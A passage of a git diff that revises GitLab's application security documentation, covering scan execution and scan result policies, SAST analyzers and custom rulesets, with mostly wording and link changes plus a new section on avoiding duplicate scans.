analyzer [only supports](#requirements) running on the `amd64` CPU architecture. +This message indicates that the job is being run on a different architecture, such as `arm`. diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index a623b819b08..492b200d22b 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -4,7 +4,7 @@ group: Static Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Secure your application **(ULTIMATE)** +# Application security **(ULTIMATE)** GitLab can check your application for security vulnerabilities including: @@ -104,10 +104,10 @@ The following vulnerability scanners and their databases are regularly updated: | [Container Scanning](container_scanning/index.md) | A job runs on a daily basis to build new images with the latest vulnerability database updates from the upstream scanner. For more details, see [Vulnerabilities database update](container_scanning/index.md#vulnerabilities-database). | | [Dependency Scanning](dependency_scanning/index.md) | Relies on the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db). It is updated on a daily basis using [data from NVD, the `ruby-advisory-db` and the GitHub Advisory Database as data sources](https://gitlab.com/gitlab-org/security-products/gemnasium-db/-/blob/master/SOURCES.md). See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). | | [Dynamic Application Security Testing (DAST)](dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/main/Dockerfile#L1). The scanning rules are downloaded at scan runtime. | -| [Static Application Security Testing (SAST)](sast/index.md) | Relies exclusively on [the tools GitLab wraps](sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. | +| [Static Application Security Testing (SAST)](sast/index.md) | The source of scan rules depends on which [analyzer](sast/analyzers.md) is used for each [supported programming language](sast/index.md#supported-languages-and-frameworks). GitLab maintains a ruleset for the Semgrep-based analyzer and updates it regularly based on internal research and user feedback. For other analyzers, the ruleset is sourced from the upstream open-source scanner. Each analyzer is updated at least once per month if a relevant update is available. | In versions of GitLab that use the same major version of the analyzer, you do not have to update -GitLab to benefit from the latest vulnerabilities definitions. The security tools are released as +them to benefit from the latest vulnerabilities definitions. The security tools are released as Docker images. The vendored job definitions that enable them use major release tags according to [semantic versioning](https://semver.org/). Each new release of the tools overrides these tags. Although in a major analyzer version you automatically get the latest versions of the scanning @@ -130,7 +130,7 @@ While you cannot directly customize Auto DevOps, you can [include the Auto DevOp ## Security scanning without Auto DevOps -To enable all GitLab security scanning tools, with the option of customizing settings, add the +To enable all GitLab security scanning tools with the option of customizing settings, add the GitLab CI/CD templates to your `.gitlab-ci.yml` file. WARNING: @@ -164,7 +164,7 @@ variables: By default, GitLab security scanners use `registry.gitlab.com/security-products` as the base address for Docker images. You can override this for most scanners by setting the CI/CD variable -`SECURE_ANALYZERS_PREFIX` to another location. Note that this affects all scanners at once. +`SECURE_ANALYZERS_PREFIX` to another location. This affects all scanners at once. The [Container Scanning](container_scanning/index.md) analyzer is an exception, and it does not use the `SECURE_ANALYZERS_PREFIX` variable. To override its Docker image, see @@ -179,7 +179,7 @@ you must reference the [`latest` templates](../../development/cicd/templates.md) All `latest` security templates support merge request pipelines. -For example, to run both SAST and Dependency Scanning: +For example, to run both SAST and Dependency Scanning, the following template is used: ```yaml include: @@ -205,7 +205,7 @@ that rely on this scan data only show results from pipelines on the default bran Our language and package manager specific jobs attempt to assess which analyzers they should run for your project so that you can do less configuration. -If you want to override this to increase the pipeline speed you may choose which analyzers to exclude if you know they are not applicable (languages or package managers not contained in your project) by following variable customization directions for that specific tool. +If you want to override this to increase the pipeline speed, you may choose which analyzers to exclude if you know they are not applicable (languages or package managers not contained in your project) by following variable customization directions for that specific tool. ### Secure job status @@ -242,7 +242,7 @@ reports are available to download. To download a report, select A merge request contains a security widget which displays a summary of the new results. New results are determined by comparing the findings of the merge request against the findings of the most recent completed pipeline (`success`, `failed`, `canceled` or `skipped`) for the latest commit in the target branch. -If security scans have not run for the most recent completed pipeline in the target branch there is no base for comparison. The vulnerabilities from the merge request findings will be listed as new in the merge request security widget. We recommend you run a scan of the `default` (target) branch before enabling feature branch scans for your developers. +If security scans have not run for the most recent completed pipeline in the target branch there is no base for comparison. The vulnerabilities from the merge request findings are listed as new in the merge request security widget. We recommend you run a scan of the `default` (target) branch before enabling feature branch scans for your developers. The merge request security widget displays only a subset of the vulnerabilities in the generated JSON artifact because it contains both new and existing findings. @@ -280,7 +280,7 @@ security issues: - A security vulnerability. For more details, read [Scan result policies](policies/scan-result-policies.md). - A software license compliance violation. For more details, read - [Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project). + [Enabling license approvals within a project](../compliance/license_check_rules.md#enabling-license-approvals-within-a-project). ## Using private Maven repositories @@ -397,7 +397,7 @@ To fix this issue, you can either: - echo "custom job" ``` -Learn more on overriding security jobs: +For more information about overriding security jobs, see: - [Overriding SAST jobs](sast/index.md#overriding-sast-jobs). - [Overriding Dependency Scanning jobs](dependency_scanning/index.md#overriding-dependency-scanning-jobs). @@ -443,9 +443,9 @@ You can always find supported and deprecated schema versions in the [source code You can interact with the results of the security scanning tools in several locations: - [Scan information in merge requests](#view-security-scan-information-in-merge-requests) -- [Project Security Dashboard](security_dashboard/index.md) +- [Project Security Dashboard](security_dashboard/index.md#view-vulnerabilities-over-time-for-a-project) - [Security pipeline tab](security_dashboard/index.md) -- [Group Security Dashboard](security_dashboard/index.md) +- [Group Security Dashboard](security_dashboard/index.md#view-vulnerabilities-over-time-for-a-group) - [Security Center](security_dashboard/index.md#security-center) - [Vulnerability Report](vulnerability_report/index.md) - [Vulnerability Pages](vulnerabilities/index.md) @@ -487,7 +487,7 @@ Security and compliance teams must ensure that security scans: GitLab provides two methods of accomplishing this, each with advantages and disadvantages. -- [Compliance framework pipelines](../group/compliance_frameworks.md#configure-a-compliance-pipeline) +- [Compliance framework pipelines](../group/compliance_frameworks.md#compliance-pipelines) are recommended when: - Scan execution enforcement is required for any scanner that uses a GitLab template, such as SAST IaC, DAST, Dependency Scanning, @@ -516,7 +516,7 @@ Additional details about the differences between the two solutions are outlined | ------ | ------ | ------ | | **Flexibility** | Supports anything that can be done in a CI file. | Limited to only the items for which GitLab has explicitly added support. DAST, SAST, Secret Detection, Dependency Scanning, and Container Scanning scans are supported. | | **Usability** | Requires knowledge of CI YAML. | Follows a `rules` and `actions`-based YAML structure. | -| **Inclusion in CI pipeline** | The compliance pipeline is executed instead of the project's `.gitlab-ci.yml` file. To include the project's `.gitlab-ci.yml` file, use an `include` statement. Defined variables aren't allowed to be overwritten by the included project's YAML file. | Forced inclusion of a new job into the CI pipeline. DAST jobs that must be customized on a per-project basis can have project-level Site Profiles and Scan Profiles defined. To ensure separation of duties, these profiles are immutable when referenced in a scan execution policy. All jobs can be customized as part of the security policy itself with the same variables that are normally available to the CI job. | +| **Inclusion in CI pipeline** | The compliance pipeline is executed instead of the project's `.gitlab-ci.yml` file. To include the project's `.gitlab-ci.yml` file, use an `include` statement. Defined variables aren't allowed to be overwritten by the included project's YAML file. | Forced inclusion of a new job into the CI pipeline. DAST jobs that must be customized on a per-project basis can have project-level Site Profiles and Scan Profiles defined. To ensure separation of duties, these profiles are immutable when referenced in a scan execution policy. All jobs can be customized as part of the security policy itself with the same variables that are usually available to the CI job. | | **Schedulable** | Can be scheduled through a scheduled pipeline on the group. | Can be scheduled natively through the policy configuration itself. | | **Separation of Duties** | Only group owners can create compliance framework labels. Only project owners can apply compliance framework labels to projects. The ability to make or approve changes to the compliance pipeline definition is limited to individuals who are explicitly given access to the project that contains the compliance pipeline. | Only project owners can define a linked security policy project. The ability to make or approve changes to security policies is limited to individuals who are explicitly given access to the security policy project. | | **Ability to apply one standard to multiple projects** | The same compliance framework label can be applied to multiple projects inside a group. | The same security policy project can be used for multiple projects across GitLab with no requirement of being located in the same group. | @@ -602,7 +602,7 @@ To fix this issue, you must either: - [Transition your `only/except` syntax to `rules`](#transitioning-your-onlyexcept-syntax-to-rules). - (Temporarily) [Pin your templates to the deprecated versions](#pin-your-templates-to-the-deprecated-versions) -[Learn more on overriding SAST jobs](sast/index.md#overriding-sast-jobs). +For more information, see [Overriding SAST jobs](sast/index.md#overriding-sast-jobs). #### Transitioning your `only/except` syntax to `rules` @@ -664,7 +664,7 @@ spotbugs-sast: - if: $CI_COMMIT_TAG == null ``` -[Learn more on the usage of `rules`](../../ci/yaml/index.md#rules). +For more information, see [`rules`](../../ci/yaml/index.md#rules). #### Pin your templates to the deprecated versions @@ -702,7 +702,7 @@ The `sast` or `dependency_scanning` stanzas can be used to make changes to all S such as changing `variables` or the `stage`, but they cannot be used to define shared `rules`. There [is an issue open to improve extendability](https://gitlab.com/gitlab-org/gitlab/-/issues/218444). -Please upvote the issue to help with prioritization, and +You can upvote the issue to help with prioritization, and [contributions are welcomed](https://about.gitlab.com/community/contribute/). ### Empty Vulnerability Report, Dependency List, License list pages @@ -710,9 +710,9 @@ Please upvote the issue to help with prioritization, and If the pipeline has manual steps with a job that has the `allow_failure: false` option, and this job is not finished, GitLab can't populate listed pages with the data from security reports. In this case, [the Vulnerability Report](vulnerability_report/index.md), [the Dependency List](dependency_list/index.md), -and [the License list](../compliance/license_compliance/index.md#license-list) pages will be empty. +and [the License list](../compliance/license_list.md) pages are empty. These security pages can be populated by running the jobs from the manual step of the pipeline. There is [an issue open to handle this scenario](https://gitlab.com/gitlab-org/gitlab/-/issues/346843). -Please upvote the issue to help with prioritization, and +You can upvote the issue to help with prioritization, and [contributions are welcomed](https://about.gitlab.com/community/contribute/). diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index 6976956758d..5a075bf731b 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -234,6 +234,6 @@ Once these steps are complete, GitLab has local copies of the Secure analyzers a them instead of an Internet-hosted container image. This allows you to run Secure in AutoDevOps in an offline environment. -Note that these steps are specific to GitLab Secure with AutoDevOps. Using other stages with +These steps are specific to GitLab Secure with AutoDevOps. Using other stages with AutoDevOps may require other steps covered in the [Auto DevOps documentation](../../../topics/autodevops/index.md). diff --git a/doc/user/application_security/policies/scan-execution-policies.md b/doc/user/application_security/policies/scan-execution-policies.md index c9c48c0c926..26c7e1d9c77 100644 --- a/doc/user/application_security/policies/scan-execution-policies.md +++ b/doc/user/application_security/policies/scan-execution-policies.md @@ -11,21 +11,21 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - Operational container scanning [introduced](https://gitlab.com/groups/gitlab-org/-/epics/3410) in GitLab 15.5 Group, subgroup, or project owners can use scan execution policies to require that security scans run on a specified -schedule or with the project (or multiple projects if the policy is defined at a group or subgroup level) pipeline. Required scans are injected into the CI pipeline as new jobs -with a long, random job name. In the unlikely event of a job name collision, the security policy job overwrites -any pre-existing job in the pipeline. If a policy is created at the group-level, it will apply to every child -project or subgroup. A group-level policy cannot be edited from a child project or subgroup. +schedule or with the project pipeline. The security scan runs with multiple project pipelines if you define the policy +at a group or subgroup level. GitLab injects the required scans into the CI pipeline as new jobs. In the event +of a job name collision, GitLab adds a dash and a number to the job name. GitLab increments the number until the name +no longer conflicts with existing job names. If you create a policy at the group level, it applies to every child project +or subgroup. You cannot edit a group-level policy from a child project or subgroup. -This feature has some overlap with [compliance framework pipelines](../../group/compliance_frameworks.md#configure-a-compliance-pipeline), +This feature has some overlap with [compliance framework pipelines](../../group/compliance_frameworks.md#compliance-pipelines), as we have not [unified the user experience for these two features](https://gitlab.com/groups/gitlab-org/-/epics/7312). For details on the similarities and differences between these features, see [Enforce scan execution](../index.md#enforce-scan-execution). NOTE: -Policy jobs are created in the `test` stage of the pipeline. If you modify the default pipeline +Policy jobs for scans other than DAST scans are created in the `test` stage of the pipeline. If you modify the default pipeline [`stages`](../../../ci/yaml/index.md#stages), -you must ensure that the `test` stage exists in the list. Otherwise, the pipeline fails to run and -an error appears that states `chosen stage does not exist`. +to remove the `test` stage, jobs will run in the `scan-policies` stage instead. This stage is injected into the CI pipeline at evaluation time if it doesn't exist. If the `build` stage exists, it is injected just after the `build` stage. If the `build` stage does not exist, it is injected at the beginning of the pipeline. DAST scans always run in the `dast` stage. If this stage does not exist, then a `dast` stage is injected at the end of the pipeline. ## Scan execution policy editor @@ -89,7 +89,7 @@ This rule enforces the defined actions and schedules a scan on the provided date | `type` | `string` | `schedule` | The rule's type. | | `branches` | `array` of `string` | `*` or the branch's name | The branch the given policy applies to (supports wildcard). This field is required if the `agents` field is not set. | | `cadence` | `string` | CRON expression (for example, `0 0 * * *`) | A whitespace-separated string containing five fields that represents the scheduled time. | -| `agents` | `object` | | The name of the [GitLab agents](../../clusters/agent/index.md) where [cluster image scanning](../../clusters/agent/vulnerabilities.md) will run. The object key is the name of the Kubernetes agent configured for your project in GitLab. This field is required if the `branches` field is not set. | +| `agents` | `object` | | The name of the [GitLab agents](../../clusters/agent/index.md) where [Operational Container Scanning](../../clusters/agent/vulnerabilities.md) runs. The object key is the name of the Kubernetes agent configured for your project in GitLab. This field is required if the `branches` field is not set. | GitLab supports the following types of CRON syntax for the `cadence` field: @@ -97,10 +97,10 @@ GitLab supports the following types of CRON syntax for the `cadence` field: - A weekly cadence of once per week on a specified day and at a specified hour, for example: `0 13 * * 0` NOTE: -Other elements of the [CRON syntax]((https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm)) may work in the cadence field if supported by the [cron](https://github.com/robfig/cron) we are using in our implementation, however, GitLab does not officially test or support them. +Other elements of the [CRON syntax](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) may work in the cadence field if supported by the [cron](https://github.com/robfig/cron) we are using in our implementation, however, GitLab does not officially test or support them. NOTE: -If using the `agents` field, required for `Operational Container Scanning`, the CRON expression is evaluated in [UTC](https://www.timeanddate.com/worldclock/timezone/utc) using the system-time of the Kubernetes-agent pod. If not using the `agents` field, the CRON expression is evaluated in standard [UTC](https://www.timeanddate.com/worldclock/timezone/utc) time from GitLab.com. If you have a self-managed GitLab instance and have [changed the server timezone](../../../administration/timezone.md), the CRON expression is evaluated with the new timezone. +If using the `agents` field, required for `Operational Container Scanning`, the CRON expression is evaluated in [UTC](https://www.timeanddate.com/worldclock/timezone/utc) using the system-time of the Kubernetes-agent pod. If not using the `agents` field, the CRON expression is evaluated in standard [UTC](https://www.timeanddate.com/worldclock/timezone/utc) time from GitLab.com. If you have a self-managed GitLab instance and have [changed the server time zone](../../../administration/timezone.md), the CRON expression is evaluated with the new time zone. ### `agent` schema @@ -108,7 +108,7 @@ Use this schema to define `agents` objects in the [`schedule` rule type](#schedu | Field | Type | Possible values | Description | |--------------|---------------------|--------------------------|-------------| -| `namespaces` | `array` of `string` | | The namespace that is scanned. If empty, all namespaces will be scanned. | +| `namespaces` | `array` of `string` | | The namespace that is scanned. If empty, all namespaces are scanned. | #### Policy example @@ -129,9 +129,9 @@ Use this schema to define `agents` objects in the [`schedule` rule type](#schedu The keys for a schedule rule are: -- `cadence` (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run +- `cadence` (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans are run - `agents:<agent-name>` (required): The name of the agent to use for scanning -- `agents:<agent-name>:namespaces` (optional): The Kubernetes namespaces to scan. If omitted, all namespaces will be scanned. +- `agents:<agent-name>:namespaces` (optional): The Kubernetes namespaces to scan. If omitted, all namespaces are scanned. ## `scan` action type @@ -144,7 +144,7 @@ rule in the defined policy are met. | `site_profile` | `string` | Name of the selected [DAST site profile](../dast/proxy-based.md#site-profile). | The DAST site profile to execute the DAST scan. This field should only be set if `scan` type is `dast`. | | `scanner_profile` | `string` or `null` | Name of the selected [DAST scanner profile](../dast/proxy-based.md#scanner-profile). | The DAST scanner profile to execute the DAST scan. This field should only be set if `scan` type is `dast`.| | `variables` | `object` | | A set of CI variables, supplied as an array of `key: value` pairs, to apply and enforce for the selected scan. The `key` is the variable name, with its `value` provided as a string. This parameter supports any variable that the GitLab CI job supports for the specified scan. | -| `tags` | `array` of `string` | | A list of runner tags for the policy. The policy jobs will be run by runner with the specified tags. | +| `tags` | `array` of `string` | | A list of runner tags for the policy. The policy jobs are run by runner with the specified tags. | Note the following: @@ -238,3 +238,14 @@ actions: - scan: secret_detection - scan: container_scanning ``` + +## Avoiding duplicate scans + +Scan execution policies can cause the same type of scanner to run more than once if developers include scan jobs in the project's +`.gitlab-ci.yml` file. This behavior is intentional as scanners can run more than once with different variables and settings. For example, a +developer may want to try running a SAST scan with different variables than the one enforced by the security and compliance team. In +this case, two SAST jobs run in the pipeline, one with the developer's variables and one with the security and compliance team's variables. + +If you want to avoid running duplicate scans, you can either remove the scans from the project's `.gitlab-ci.yml` file or disable your +local jobs by setting `SAST_DISABLED: true`. Disabling jobs this way does not prevent the security jobs defined by scan execution +policies from running. diff --git a/doc/user/application_security/policies/scan-result-policies.md b/doc/user/application_security/policies/scan-result-policies.md index 6bf3532f95e..bc74b8bdfb1 100644 --- a/doc/user/application_security/policies/scan-result-policies.md +++ b/doc/user/application_security/policies/scan-result-policies.md @@ -42,7 +42,7 @@ before the policy changes take effect. The [policy editor](index.md#policy-editor) supports YAML mode and rule mode. NOTE: -Propagating scan result policies created for groups with a large number of projects will take a while to complete. +Propagating scan result policies created for groups with a large number of projects take a while to complete. ## Scan result policies schema @@ -79,10 +79,16 @@ This rule enforces the defined actions based on security scan findings. | `scanners` | `array` of `string` | `sast`, `secret_detection`, `dependency_scanning`, `container_scanning`, `dast`, `coverage_fuzzing`, `api_fuzzing` | The security scanners for this rule to consider. | | `vulnerabilities_allowed` | `integer` | Greater than or equal to zero | Number of vulnerabilities allowed before this rule is considered. | | `severity_levels` | `array` of `string` | `info`, `unknown`, `low`, `medium`, `high`, `critical`| The severity levels for this rule to consider. | -| `vulnerability_states` | `array` of `string` | `newly_detected`, `detected`, `confirmed`, `resolved`, `dismissed` | All vulnerabilities fall into two categories:<br><br>**Newly Detected Vulnerabilities** - the `newly_detected` policy option covers vulnerabilities that are both `Detected` or `Dismissed` within the merge request itself where the vulnerabilities do not currently exist on the default branch. This policy option requires a pipeline to complete before the rule is evaluated so that it knows whether vulnerabilities are newly detected or not. Merge requests are blocked until the pipeline, and necessary security scans are complete.<br><br> • Detected<br> • Dismissed<br><br>**Pre-Existing Vulnerabilities** - these policy options are evaluated immediately and do not require a pipeline complete as they consider only vulnerabilities previously detected in the default branch.<br><br> • `Detected` - the policy looks for vulnerabilities in the detected state.<br> • `Confirmed` - the policy looks for vulnerabilities in the confirmed state.<br> • `Dismissed` - the policy looks for vulnerabilities in the dismissed state.<br> • `Resolved` - the policy looks for vulnerabilities in the resolved state. | +| `vulnerability_states` | `array` of `string` | `newly_detected`, `detected`, `confirmed`, `resolved`, `dismissed` | All vulnerabilities fall into two categories:<br><br>**Newly Detected Vulnerabilities** - the `newly_detected` policy option covers vulnerabilities identified in the merge request branch itself but that do not currently exist on the default branch. This policy option requires a pipeline to complete before the rule is evaluated so that it knows whether vulnerabilities are newly detected or not. Merge requests are blocked until the pipeline and necessary security scans are complete. The `newly_detected` option considers both of the following statuses:<br><br> • Detected<br> • Dismissed<br><br>**Pre-Existing Vulnerabilities** - these policy options are evaluated immediately and do not require a pipeline complete as they consider only vulnerabilities previously detected in the default branch.<br><br> • `Detected` - the policy looks for vulnerabilities in the detected state.<br> • `Confirmed` - the policy looks for vulnerabilities in the confirmed state.<br> • `Dismissed` - the policy looks for vulnerabilities in the dismissed state.<br> • `Resolved` - the policy looks for vulnerabilities in the resolved state. | ## `license_finding` rule type +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8092) in GitLab 15.9 [with a flag](../../../administration/feature_flags.md) named `license_scanning_policies`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `license_scanning_policies`. +On GitLab.com, this feature is not available. + This rule enforces the defined actions based on license findings. | Field | Type | Possible values | Description | @@ -91,7 +97,7 @@ This rule enforces the defined actions based on license findings. | `branches` | `array` of `string` | `[]` or the branch's name | Applicable only to protected target branches. An empty array, `[]`, applies the rule to all protected target branches. | | `match_on_inclusion` | `boolean` | `true`, `false` | Whether the rule matches inclusion or exclusion of licenses listed in `license_types`. | | `license_types` | `array` of `string` | license types | License types to match on, for example `BSD` or `MIT`. | -| `license_states` | `array` of `string` | `newly_detected`, `detected` | Whether to match newly detected and/or previously detected licenses. | +| `license_states` | `array` of `string` | `newly_detected`, `detected` | Whether to match newly detected and/or previously detected licenses. The `newly_detected` state triggers approval when either a new package is introduced or when a new license for an existing package is detected. | ## `require_approval` action type @@ -110,7 +116,7 @@ the defined policy. Requirements and limitations: - You must add the respective [security scanning tools](../index.md#application-coverage). - Otherwise, scan result policies won't have any effect. + Otherwise, scan result policies do not have any effect. - The maximum number of policies is five. - Each policy can have a maximum of five rules. @@ -199,7 +205,7 @@ It corresponds to a single object from the previous example: ## Example situations where scan result policies require additional approval -There are several situations where the scan result policy will require an additional approval step. For example: +There are several situations where the scan result policy requires an additional approval step. For example: - The number of security jobs is reduced in the working branch and no longer matches the number of security jobs in the target branch. Users can't skip the Scanning Result Policies by removing scanning jobs from the CI configuration. - Someone stops a pipeline security job, and users can't skip the security scan. diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index efbbf447845..c8542142830 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -12,7 +12,7 @@ Static Application Security Testing (SAST) uses analyzers to detect vulnerabilities in source code. Each analyzer is a wrapper around a [scanner](../terminology/index.md#scanner), a third-party code analysis tool. The analyzers are published as Docker images that SAST uses to launch dedicated containers for each -analysis. We recommend a minimum of 4GB RAM to ensure consistent performance of the analyzers. +analysis. We recommend a minimum of 4 GB RAM to ensure consistent performance of the analyzers. SAST default images are maintained by GitLab, but you can also integrate your own custom image. @@ -77,8 +77,8 @@ Work to remove language-specific analyzers and replace them with the Semgrep-bas You can choose to disable the other analyzers early and use Semgrep-based scanning for supported languages before the default behavior changes. If you do so: -- You'll enjoy significantly faster scanning, reduced CI minutes usage, and more customizable scanning rules. -- However, vulnerabilities previously reported by language-specific analyzers will be reported again under certain conditions, including if you've dismissed the vulnerabilities before. The system behavior depends on: +- You enjoy significantly faster scanning, reduced CI minutes usage, and more customizable scanning rules. +- However, vulnerabilities previously reported by language-specific analyzers are reported again under certain conditions, including if you've dismissed the vulnerabilities before. The system behavior depends on: - whether you've excluded the Semgrep-based analyzer from running in the past. - which analyzer first discovered the vulnerabilities shown in the project's [Vulnerability Report](../vulnerability_report/index.md). @@ -92,7 +92,7 @@ The Vulnerability Management system automatically moves vulnerabilities from the - For Go, a vulnerability is moved if it has only ever been detected by Gosec in pipelines where Semgrep also detected it. Semgrep coverage for Go was introduced by default into the CI/CD template in GitLab 14.2 (August 2021). - For JavaScript and TypeScript, a vulnerability is moved if it has only ever been detected by ESLint in pipelines where Semgrep also detected it. Semgrep coverage for these languages was introduced into the CI/CD template in GitLab 13.12 (May 2021). -However, you'll see old vulnerabilities re-created based on Semgrep results if: +However, old vulnerabilities re-created based on Semgrep results are visible if: - A vulnerability was created by Bandit or SpotBugs and you disable those analyzers. We only recommend disabling Bandit and SpotBugs now if the analyzers aren't working. Work to automatically translate Bandit and SpotBugs vulnerabilities to Semgrep is tracked in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/328062). - A vulnerability was created by ESLint, Gosec, or Flawfinder in a default-branch pipeline where Semgrep scanning did not run successfully (before Semgrep coverage was introduced for the language, because you disabled Semgrep explicitly, or because the Semgrep scan failed in that pipeline). We do not currently plan to combine these vulnerabilities if they already exist. @@ -119,13 +119,13 @@ To switch to Semgrep-based scanning early, you can: 1. Create a merge request (MR) to set the [`SAST_EXCLUDED_ANALYZERS` CI/CD variable](#disable-specific-default-analyzers) to `"bandit,gosec,eslint"`. - If you also want to disable SpotBugs scanning, add `spotbugs` to the list. We only recommend this for Java projects. SpotBugs is the only current analyzer that can scan Groovy, Kotlin, and Scala. - If you also want to disable Flawfinder scanning, add `flawfinder` to the list. We only recommend this for C projects. Flawfinder is the only current analyzer that can scan C++. -1. Verify that scanning jobs succeed in the MR. You'll notice findings from the removed analyzers in _Fixed_ and findings from Semgrep in _New_. (Some findings may show different names, descriptions, and severities, since GitLab manages and edits the Semgrep rulesets.) +1. Verify that scanning jobs succeed in the MR. Findings from the removed analyzers are available in _Fixed_ and findings from Semgrep in _New_. (Some findings may show different names, descriptions, and severities, since GitLab manages and edits the Semgrep rulesets.) 1. Merge the MR and wait for the default-branch pipeline to run. 1. Use the Vulnerability Report to dismiss the findings that are no longer detected by the language-specific analyzers. #### Preview Semgrep-based scanning -You can see how Semgrep-based scanning will work in your projects before the GitLab-managed Stable CI/CD template for SAST is updated. +You can see how Semgrep-based scanning works in your projects before the GitLab-managed Stable CI/CD template for SAST is updated. We recommend that you test this change in a merge request but continue using the Stable template in your default branch pipeline configuration. In GitLab 15.3, we [activated a feature flag](https://gitlab.com/gitlab-org/gitlab/-/issues/362179) to migrate security findings on the default branch from other analyzers to Semgrep. @@ -148,10 +148,10 @@ To preview the upcoming changes to the CI/CD configuration in GitLab 15.3 or ear remote: 'https://gitlab.com/gitlab-org/gitlab/-/raw/2851f4d5/lib/gitlab/ci/templates/Jobs/SAST.latest.gitlab-ci.yml' ``` -1. Verify that scanning jobs succeed in the MR. You'll notice findings from the removed analyzers in _Fixed_ and findings from Semgrep in _New_. (Some findings may show different names, descriptions, and severities, since GitLab manages and edits the Semgrep rulesets.) +1. Verify that scanning jobs succeed in the MR. You notice findings from the removed analyzers in _Fixed_ and findings from Semgrep in _New_. (Some findings may show different names, descriptions, and severities, since GitLab manages and edits the Semgrep rulesets.) 1. Close the MR. -To learn more about Stable and Latest templates, see documentation on [CI/CD template versioning](../../../development/cicd/templates.md#versioning). +For more information about Stable and Latest templates, see [CI/CD template versioning](../../../development/cicd/templates.md#versioning). ## Customize analyzers diff --git a/doc/user/application_security/sast/customize_rulesets.md b/doc/user/application_security/sast/customize_rulesets.md index aec7158d2e4..d070883df9a 100644 --- a/doc/user/application_security/sast/customize_rulesets.md +++ b/doc/user/application_security/sast/customize_rulesets.md @@ -23,7 +23,7 @@ repository being scanned. There are two kinds of customization: ## Disable predefined rules -You can disable predefined rules for any SAST analyzer. Disabled rules won't appear +You can disable predefined rules for any SAST analyzer. Disabled rules don't appear on the [Pipeline Security](../index.md#view-security-scan-information-in-the-pipeline-security-tab) tab or the [Vulnerability Report](../index.md#view-security-scan-information-in-the-vulnerability-report). @@ -103,7 +103,7 @@ differ based on the kind of configuration you're making. | `[[$analyzer.ruleset]]` | Predefined rules | Defines modifications to an existing rule. | | `interpolate` | All | If set to `true`, you can use `$VAR` in the configuration to evaluate environment variables. Use this feature with caution, so you don't leak secrets or tokens. (Default: `false`) | | `description` | Passthroughs | Description of the custom ruleset. | -| `targetdir` | Passthroughs | The directory where the final configuration should be persisted. If empty, a directory with a random name is created. The directory can contain up to 100MB of files. | +| `targetdir` | Passthroughs | The directory where the final configuration should be persisted. If empty, a directory with a random name is created. The directory can contain up to 100 MB of files. | | `validate` | Passthroughs | If set to `true`, the content of each passthrough is validated. The validation works for `yaml`, `xml`, `json` and `toml` content. The proper validator is identified based on the extension used in the `target` parameter of the `[[$analyzer.passthrough]]` section. (Default: `false`) | | `timeout` | Passthroughs | The maximum time to spend to evaluate the passthrough chain, before timing out. The timeout cannot exceed 300 seconds. (Default: 60) | @@ -249,13 +249,13 @@ a higher precedence and can overwrite or append to data yielded by previous passthroughs (depending on the `mode`). This is useful for cases where you need to use or modify an existing configuration. -The amount of data generated by a single passthrough is limited to 1MB. +The amount of data generated by a single passthrough is limited to 1 MB. | Setting | Applies to | Description | | ------- | ---------- | ----------- | | `type` | All | One of `file`, `raw`, `git` or `url`. | | `target` | All | The target file to contain the data written by the passthrough evaluation. If empty, a random filename is used. | -| `mode` | All | If `overwrite`, the `target` file is overwritten. If `append`, new content is appended to the `target` file. Note that the `git` type only supports `overwrite`. (Default: `overwrite`) | +| `mode` | All | If `overwrite`, the `target` file is overwritten. If `append`, new content is appended to the `target` file. The `git` type only supports `overwrite`. (Default: `overwrite`) | | `ref` | `type = "git"` | Contains the name of the branch or the SHA to pull. When using a branch name, specify it in the form `refs/heads/<branch>`, not `refs/remotes/<remote_name>/<branch>`. | | `subdir` | `type = "git"` | Used to select a subdirectory of the Git repository as the configuration source. | | `value` | All | For the `file`, `url`, and `git` types, defines the location of the file or Git repository. For the `raw` type, contains the inline configuration. | @@ -273,7 +273,7 @@ The amount of data generated by a single passthrough is limited to 1MB. WARNING: When using the `raw` passthrough with a YAML snippet, it's recommended to format all indentation in the `sast-ruleset.toml` file as spaces. The YAML specification mandates spaces over tabs, and the -analyzer will fail to parse your custom ruleset unless the indentation is represented accordingly. +analyzer fails to parse your custom ruleset unless the indentation is represented accordingly. ## Examples @@ -317,8 +317,7 @@ With the following custom ruleset configuration, the following rules are omitted ### Override predefined rules of SAST analyzers With the following custom ruleset configuration, vulnerabilities found with -`semgrep` with a type `CWE` and a value `322` will have their severity -overridden to `Critical`. +`semgrep` with a type `CWE` and a value `322` have their severity overridden to `Critical`. ```toml [semgrep] @@ -416,7 +415,7 @@ Different passthrough types are demonstrated in this example: - The `sast-rules` entry has a higher precedence because it appears later in the configuration. - If there's a filename collision between the two checkouts, files - from the `sast-rules` repository will overwrite files from the + from the `sast-rules` repository overwrite files from the `myrules` repository. - 